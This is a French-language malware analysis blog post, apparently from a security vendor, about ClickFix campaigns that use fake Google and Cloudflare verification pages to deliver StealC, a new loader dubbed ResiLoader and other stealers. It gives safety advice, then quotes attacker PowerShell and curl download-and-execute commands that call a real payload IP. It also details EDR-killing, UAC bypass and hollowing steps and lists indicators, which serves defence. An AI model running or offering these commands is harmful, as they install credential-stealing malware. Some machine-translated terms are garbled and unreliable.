Les attaques de type « ClickFix », qui incitent les utilisateurs à exécuter eux-mêmes des commandes malveillantes, ne cessent d'évoluer. Cette dernière campagne utilise de fausses pages de vérification de Google et de Cloudflare pour convaincre les victimes d'infecter leurs propres appareils.
Une seule erreur peut entraîner l'installation d'un logiciel malveillant capable de voler des mots de passe et d'autres données sensibles, de permettre aux pirates d'accéder à distance à votre ordinateur ou de télécharger d'autres logiciels malveillants susceptibles de prendre le contrôle total de votre système.
Nous avons mis au jour plusieurs campagnes utilisant la même infrastructure pour diffuser des logiciels malveillants, notamment HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport et un logiciel de vol de données basé sur Rust.
Dans une chaîne d'infection, une version infectée par un cheval de Troie de l'application de messagerie légitime Franz télécharge un chargeur jusqu'alors inconnu, baptisé ResiLoader, qui désactive les logiciels de sécurité avant de déployer le programme de vol d'informations StealC.
Avant d'aborder les détails techniques, voici comment éviter de devenir la prochaine victime.
Comment rester en sécurité
Les attaques de type « ClickFix » visent à vous convaincre d'exécuter vous-même des commandes. La méthode la plus sûre est simple :
- Ne copiez et n'exécutez jamais de commandes provenant d'un site web, sauf si vous suivez les instructions d'une source fiable et que vous comprenez exactement ce que fait la commande.
- Méfiez-vous des pages de vérification. Google, Cloudflare, Microsoft et d'autres services légitimes ne vous demanderont jamais de coller des commandes PowerShell dans Windows prouver que vous êtes bien un humain ou Windows résoudre un problème.
- Ne vous laissez pas bousculer par le sentiment d’urgence. Les fausses pages de vérification utilisent souvent des comptes à rebours, des compteurs de visiteurs ou des avertissements pour vous pousser à agir rapidement.
- Veillez à maintenir votre logiciel de sécurité à jour. La protection en temps réel et la protection Web peuvent vous aider à bloquer les sites Web malveillants avant même que vous n'y accédiez.
- Méfiez-vous des instructions techniques inattendues. Si un site web vous demande d'ouvrir PowerShell, l'Invite de commandes ou Terminal, ne le faites pas et vérifiez ces instructions auprès des canaux d'assistance officiels de l'entreprise.
Conseil de pro : Malwarebytes Browser Guard peut vous avertir lorsqu'un site web tente de copier du contenu dans votre presse-papiers — une astuce couramment utilisée par les pages ClickFix.
Analyse technique
Les campagnes analysées dans le cadre de cette étude sont actives depuis au moins fin 2025 et utilisent diverses pages frauduleuses imitant Google et Cloudflare pour diffuser des logiciels malveillants. Bien que les leurres diffèrent, elles partagent en grande partie la même infrastructure et la même chaîne d’infection, les attaquants testant en permanence de nouvelles méthodes de diffusion et de nouvelles charges utiles.
Des leurres différents, un seul objectif
La plupart des campagnes présentent plusieurs points communs :
- Utilisation du dossier
C:\ProgramData\Zoomspour extraire les étapes ultérieures - Commandes ClickFix de PowerShell qui suivent des schémas similaires
- Utilisation des compartiments R2 de Cloudflare pour la diffusion de données utiles
- Adresses IP hébergées par ASN Dedik Services Limited
- Les réponses HTML ne contenant que l'expression
"hehe"
Ces indicateurs ont évolué au fil du temps ; ils n'apparaissent donc pas dans toutes les chaînes d'infection. Les campagnes continuent d'évoluer, avec l'apparition régulière de nouvelles charges utiles et de nouveaux modes de diffusion. Par exemple, dans certains cas, l'adresse IP est utilisée directement pour la diffusion de la charge utile, au lieu de recourir à des « buckets ».
La commande finale copiée par l'utilisateur suit généralement ce modèle :
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Le port et le chemin d'accès ne sont pas toujours présents dans les cas analysés ; les ports sont aléatoires, mais voici quelques-uns de ceux qui sont utilisés : 6600, 9900, 5506, 7895, 7493, 149, 8442.
Pour exécuter ces commandes, plusieurs modèles liés à ClickFix sont utilisés, principalement en rapport avec Google et Cloudflare. Nous avons également constaté que, dans certains cas, la commande PowerShell était diffusée via le framework IClickFix.
Nous avons constaté que ces campagnes ClickFix étaient diffusées via :
- D'anciens sites web qui ont probablement expiré et ont été rachetés par le ou les auteurs de ces agissements.
- CloudFlare Pages (
.pages.devdomaines). - Sites web piratés.
- Des services frauduleux, liés par exemple à des codes QR ou à l'accès à des fichiers sur Internet.
Les publicités Google ClickFix
Les responsables de ces campagnes utilisent diverses pages HTML et kits liés à Google.
L'un de ces leurres imite la procédure de vérification reCAPTCHA de Google. Les pages sont hébergées sur des URL aléatoires qui affichent du contenu factice ou malveillant. Ces domaines sont souvent des enregistrements anciens qui ont récemment commencé à pointer vers de nouvelles adresses IP, ce qui laisse penser qu'ils ont été réutilisés dans le cadre de cette campagne.
Certaines de ces pages comportent des paramètres d'URL tels que « zoneid », « cost », « device », « country » ou « clickid », par exemple :
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


Dans ce cas, les fonctions liées à ClickFix sont implémentées dans la classe CustomCaptcha. La commande est présente en clair, sans aucune dissimulation.

Une autre méthode de diffusion utilise Cloudflare Pages hébergé sur .pages.dev sous-domaines.

Dans ce cas, la page HTML est obscurcie par la déclaration de plusieurs variables auxquelles on applique une opération XOR. Le code désobscurci s'appelle SECURITY GATEWAY et il est composé des fonctions suivantes : GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, et PanelController.
Le code permet aux pirates de récupérer la commande soit à distance, soit localement. Dans cet exemple, la commande PowerShell malveillante est stockée localement.

Nous avons également constaté que certains de ces domaines avaient déjà diffusé un autre leurre par le passé, lié dans ce cas précis à une connexion non autorisée à Google. Ce leurre ClickFix invite l'utilisateur à copier-coller la commande malveillante afin de définir son appareil comme principal.

Ce qui est intéressant dans ce kit ClickFix, c'est qu'il intègre une « étape de validation », comme le mentionnent les commentaires, et que le pirate doit choisir manuellement, dans le panneau de commande, la commande qu'il souhaite faire exécuter à l'utilisateur.


Lors de campagnes plus récentes, nous avons détecté un leurre ClickFix lié à Google Meet, qui demande à l'utilisateur de copier-coller une commande malveillante pour résoudre des problèmes audio.

Dans les cas analysés, le critère d'évaluation /api/driver-clipboard.php a renvoyé la commande malveillante suivante :
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Autres leurres
Les auteurs de cette campagne utilisent divers kits et leurres, principalement liés à Google. Nous avons toutefois détecté d'autres leurres qui reprenaient des commandes associées à cette même infrastructure.
Les pirates à l'origine de ces campagnes compromettent également plusieurs sites web en utilisant différents modèles liés à l'appât « CloudFlare ClickFix ».


Nous avons détecté plusieurs modèles utilisés pour les pages CloudFlare. Dans les cas analysés, la commande apparaît en clair ou, dans certains cas, sous une forme obscurcie.



Nous avons également détecté certains sites web de services factices créés spécialement à cet effet. Par exemple, un site intitulé « My QR Generator » affiche un code QR obscurci et demande à l'utilisateur d'exécuter une commande PowerShell afin de vérifier qu'il n'est pas un robot.

Dans ce cas, la commande est encodée en base-64 :

Téléchargeur PowerShell
La commande « ClickFix » exécutée par l'utilisateur décode un script et le place dans le dossier Temp sous le nom tmp{4 char}.tmp.ps1.
Nous avons détecté plusieurs variantes de ce script, mais les versions récentes procèdent comme suit :
- Créer le dossier
C:\ProgramData\Zooms. - Téléchargez la prochaine étape depuis un compartiment CloudFlare et enregistrez-la dans
C:\ProgramData\Zooms. Dans certaines variantes du script, l'étape suivante est téléchargée directement depuis une adresse IP. - Envoyez les informations relatives à la machine compromise à
http://{IP}/dl-callback. Dans certaines variantes du scénario, cette partie n'apparaît pas.

Les auteurs de ces campagnes utilisent un grand nombre de charges utiles différentes. Ces campagnes diffusent une grande variété de charges utiles. Le tableau ci-dessous récapitule certains des noms de fichiers téléchargés et les logiciels malveillants qu’ils installent. Dans bon nombre des cas analysés, la charge utile finale a été diffusée via le détournement de DLL, comme nous le verrons également plus loin pour le voleur de données StealC.
| Fichier distribué | Diffusion de logiciels malveillants |
libEGL.zip, Safe-1.zip | Application Electron infectée par un cheval de Troie, ResiLoader et StealC |
Test.msi | Deno Loader et PowerShell Stealer |
arworks.zip | Amatera Stealer |
water-night.zip | Remus Stealer |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | Le voleur de rouille |
Nous avons analysé un nouveau chargeur appelé ResiLoader, qui sert en fin de compte à diffuser StealC. Nous avons également constaté que l'auteur de la menace, dans le cadre de ses dernières campagnes, a commencé à utiliser Deno pour diffuser, en dernier lieu, un programme de vol de données développé en PowerShell ; l'analyse de cette chaîne d'infection pourrait faire l'objet d'un prochain article de blog.
L'application Electron infectée par un cheval de Troie télécharge ResiLoader
Dans ce cas, le fichier ZIP a été téléchargé depuis :
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Après extraction vers :
C:\ProgramData\Zooms\libEGL.zip_ext
Le fichier zip contient une version infectée par un cheval de Troie de l'application de messagerie open source appelée « Franz » :

Le code malveillant est implémenté dans le index.js fichier :

Le programme de téléchargement effectue les opérations suivantes :
- Décodez les chaînes à l'aide de la fonction
HC(). - Nombre de lectures
readme.txt, attend une clé de campagne sous la formeAAAA-BBBB, le renvoie sous la forme d'un tableau de tokens. Dans ce cas, le nom estresiloader-1C'est pourquoi nous appelons « ResiLoader » la DLL téléchargée. - Nombre de lectures
%APPDATA%\setup.txt; s'il est absent, génère une chaîne aléatoire de 8 caractères et la conserve. - Assurer la persistance à l'aide de
app.setLoginItemSettings. - Envoie une requête POST à
https[:]//completstep[.]com/api/et générer la réponse JSON- Si
task.es'il est présent, il s'exécuteeval(task.e); cela permet à l'attaquant d'exécuter du code JavaScript arbitraire. - Si
task.filesest présent, créer%TEMP%\<Date.now()>\, décoder et écrire chaque fichier ; si un nom de fichier se termine par.exe, exécutez-le viachild_process.exec.
- Si
Dans notre cas, nous avons reçu un fichier ZIP qui procède au détournement de la DLL de ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
Ensuite, le fichier exécutable a été lancé à l'aide de la commande suivante :
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
Le msys-crypto-3.dll est un code obscurci .NET NativeAOT loader qui met en œuvre une technique de contournement des solutions antivirus et EDR à l’aide d’une technique BYOD, assure la persistance et charge finalement le voleur de données StealC. Nous n’avons pas trouvé d’attribution spécifique pour ce chargeur ; nous l’avons donc baptisé « ResiLoader » d’après la chaîne de caractères présente dans les versions précédentes readme.txt.
Le chargeur contient plusieurs chaînes de caractères, certaines en clair et d'autres chiffrées. Une fois ces chaînes déchiffrées, il est possible d'avoir une vue d'ensemble des fonctionnalités du ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
Le chargeur effectue les opérations suivantes :
- Extraire le blob encodé contenant deux charges utiles en lisant le marqueur
AtLorenBaseet la longueur du blob encodé. Ensuite, il décode le blob et déchiffre le pilotepcdhost.sys(OPSWAT
(pilote AppRemover) et la charge utile StealC à l'aide d'un algorithme de déchiffrement personnalisé. - Fermez plus de 140 processus liés aux processus EDR/AV à l'aide du pilote désactivé.
- Contourner le contrôle de compte d'utilisateur (UAC) via
ICMLuaUtilInterface COM avancée. - Créer un dossier
C:\ProgramData\Google Update, en se copiant lui-même ; en s'assurant une persistance à l'aide de la clé de registre RUN cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Au final, le chargeur procède à l'évidement du processus ServiceModelReg.exe pour exécuter le logiciel malveillant StealC.
CIO
Hash
72907d0ca3258365838626f6a8d993a6: DLL ResiLoader
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Amatera Stealer
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Le Voleur de rouille
Domaines
Diffuser les pages ClickFix :
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
Compartiments CloudFlare utilisés pour la distribution de la charge utile:
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: répartition de la charge utile
bigflaredefence[.]com: répartition de la charge utile
popularcard[.]shop: Rust Stealer C2
xzz[.]proxygrid[.]cc: Amatera Stealer C2
completstep[.]com: Chargeur C2
eventlogerps1[.]ink: Deno Loader
be231ro963[.]com: Deno Loader
IP
Adresse IP utilisée pour la distribution de la charge utile:
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
Remerciements
- Domaine associé signalé : https://x.com/stop_spammerz/status/2070152741037477960
- Domaine associé signalé : https://x.com/Yuki27183/status/2047354005605777850
- Cas d'infection signalé par un utilisateur sur Reddit : https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Chaîne d'infection potentiellement associée : https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026




